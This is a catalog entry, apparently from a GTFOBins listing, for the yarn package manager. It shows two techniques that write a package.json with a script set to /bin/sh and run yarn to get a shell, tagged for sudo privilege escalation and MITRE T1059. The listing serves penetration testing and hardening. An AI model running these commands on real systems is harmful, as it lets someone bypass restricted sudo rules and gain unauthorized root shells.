Catalog GTFOBins

GTFO · Tool

yarn

6 techniques LinuxGTFOBins GPL-3.0
shell
ExecutionPrivilege Escalation Linux
echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
yarn --cwd .
Context
sudo
Native
shell
MITRE
T1059
shell
ExecutionPrivilege Escalation Linux
echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
yarn --cwd . xxx
Context
sudo
Native
shell
MITRE
T1059